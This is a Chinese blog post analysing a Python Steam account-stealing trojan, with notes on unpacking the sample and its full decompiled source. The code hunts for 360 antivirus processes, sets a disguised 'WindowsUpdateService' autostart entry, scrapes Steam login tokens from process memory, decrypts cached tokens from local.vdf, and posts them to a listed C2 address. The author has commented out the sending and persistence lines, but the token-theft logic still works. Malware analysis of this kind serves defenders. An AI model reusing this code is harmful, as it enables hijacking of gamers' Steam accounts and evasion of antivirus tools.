Python Steam盗号木马

Python Steam盗号木马

样本来源

Python Steam盗号木马_卡饭论坛

竟然使用python写盗号,为何不交给AI转成golang、c++?

解包

过程略。

样本采用cx_Freeze打包,解压lib/library.zip,反编译main pyc 即可

pycdc 如果反编译失败就直接使用pycdas解析字节码,交给AI,直接给出python源码.

python 代码

已将360检测、自启动以及数据发送的代码注释

import datetime
import os
import zlib
import win32crypt
# pip install vdf
import vdf
from io import StringIO
import ctypes as utisk
import re
import subprocess as pd
# pip install requests
# import requests as mibfn
# pip install pyjwt
import jwt as rekskd
import time as utui
import sys
import win32com.client as win32com
import pythoncom
import winreg

def is_360_running():
    process_names = ['360Safe.exe', '360Tray.exe', '360sd.exe', '360rp.exe', 'QHActiveDefense.exe']
    try:
        output = pd.check_output('tasklist', shell=True, text=True).lower()
        for name in process_names:
            if name.lower() in output:
                return True
        return False
    except Exception as e:
        return False

def add_to_registry_startup():
    if is_360_running():
        print('2')
        return
    try:
        exe_path = sys.executable if getattr(sys, 'frozen', False) else os.path.abspath(sys.argv[0])
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(key, 'WindowsUpdateService', 0, winreg.REG_SZ, exe_path)
        winreg.CloseKey(key)
        print('1')
    except Exception as e:
        print('3')

def extract_tokens(value):
    return re.findall(r'eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+', value)

def check_aud(tokens):
    for token in tokens:
        try:
            decoded = rekskd.decode(token, options={'verify_signature': False})
            aud = decoded.get('aud', [])
            if all(item in aud for item in ('client', 'web', 'renew', 'derive')):
                return token
        except rekskd.ExpiredSignatureError:
            continue
        except rekskd.DecodeError:
            continue
    return None

def scan_memory(pid):
    PROCESS_VM_READ = 0x10
    process_handle = utisk.windll.kernel32.OpenProcess(PROCESS_VM_READ, False, pid)
    if not process_handle:
        print('4')
        return None
    
    buffer = utisk.create_string_buffer(4096)
    found_token = None
    
    for address in range(0, 0x7FFFFFFF, 4096):
        try:
            bytes_read = utisk.c_size_t()
            if utisk.windll.kernel32.ReadProcessMemory(process_handle, address, buffer, utisk.sizeof(buffer), utisk.byref(bytes_read)):
                value = buffer.raw.decode('latin-1', errors='ignore')
                if 'eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0' in value:
                    tokens = extract_tokens(value)
                    if tokens:
                        token = check_aud(tokens)
                        if token:
                            found_token = token
                            break
        except Exception:
            continue
    
    utisk.windll.kernel32.CloseHandle(process_handle)
    return found_token

def get_steam_process_id():
    try:
        output = pd.check_output('tasklist | findstr steam.exe', shell=True, text=True)
        for line in output.splitlines():
            if 'steam' in line:
                parts = line.split()
                if len(parts) >= 2:
                    return int(parts[1])
        return None
    except Exception as e:
        print('5')
        return None

def get_steam_install_path() -> str:
    import winreg
    key_path = r'Software\Classes\steam\Shell\Open\Command'
    try:
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_READ)
        value, _ = winreg.QueryValueEx(key, '')
        winreg.CloseKey(key)
        return os.path.dirname(value.strip('"'))
    except Exception:
        return ''

def get_local_appdata_path() -> str:
    return os.getenv('LOCALAPPDATA', '')

def compute_crc32(data: str) -> str:
    crc32_value = zlib.crc32(data.encode('utf-8'))
    return format(crc32_value, '08x').lstrip('0')

def decrypt_data(encrypted_data: bytes, account_name: str) -> bytes:
    key = account_name.encode('utf-8')
    decrypted = win32crypt.CryptUnprotectData(encrypted_data, key, None, None, 0)
    return decrypted[1]

def send_token(steam_id, token, account_name=None):
    try:
        # url = 'http://101.43.0.123:4531/aer.php'
        data = {'id': steam_id, 'th': token}
        print(data)
        # response = mibfn.post(url, data=data)
        if account_name:
            print(f"{steam_id} | 1")
        else:
            print(f"{steam_id} | 1")
    except Exception as e:
        if account_name:
            print(f"{steam_id} | 6")
        else:
            print(f"{steam_id} | 6")

def main():
    pid = get_steam_process_id()
    if pid and (token := scan_memory(pid)):
        try:
            decoded = rekskd.decode(token, options={'verify_signature': False})
            steam_id = decoded.get('sub')
            send_token(steam_id, token)
        except Exception:
            print('7')
    
    steam_path = get_steam_install_path()
    local_path = get_local_appdata_path()
    
    loginusers_path = os.path.join(steam_path, 'config', 'loginusers.vdf')
    local_vdf_path = os.path.join(local_path, 'Steam', 'local.vdf')
    
    try:
        with open(loginusers_path, 'r', encoding='utf-8') as file_loginusers:
            input_loginusers = file_loginusers.read()
    except FileNotFoundError:
        print('8')
        return
    
    try:
        with open(local_vdf_path, 'r', encoding='utf-8') as file_local:
            input_local = file_local.read()
    except FileNotFoundError:
        print('9')
        return
    
    loginuser = vdf.loads(input_loginusers)
    local = vdf.loads(input_local)
    
    connectcache = local.get('MachineUserConfigStore', {}).get('Software', {}).get('Valve', {}).get('Steam', {}).get('ConnectCache', {})
    if not connectcache:
        print('10')
        return
    
    users = loginuser.get('users', {})
    if not users:
        print('11')
        return
    
    for user_id, subuser in users.items():
        account_name = subuser.get('AccountName', '')
        if not account_name:
            continue
        
        crc32 = compute_crc32(account_name) + '1'
        encrypted_hex = connectcache.get(crc32, '')
        if not encrypted_hex:
            print(f"{user_id} | 12")
            continue
        
        encrypted_data = bytes.fromhex(encrypted_hex)
        try:
            decrypted_data = decrypt_data(encrypted_data, account_name)
            token = decrypted_data.decode('utf-8')
            decoded = rekskd.decode(token, options={'verify_signature': False})
            steam_id = decoded.get('sub')
            send_token(steam_id, token, account_name)
        except Exception:
            print(f"{user_id} | 13")
        except Exception:
            print(f"{user_id} | 14")

if __name__ == '__main__':
    # add_to_registry_startup()
    while True:
        main()
        # utui.sleep(5)
        
        # add to exit
        break
    print('over')

IOC

http://101.43.0.123:4531/aer.php
posted @ 2025-05-26 22:07  DirWangK  阅读(104)  评论(0)    收藏  举报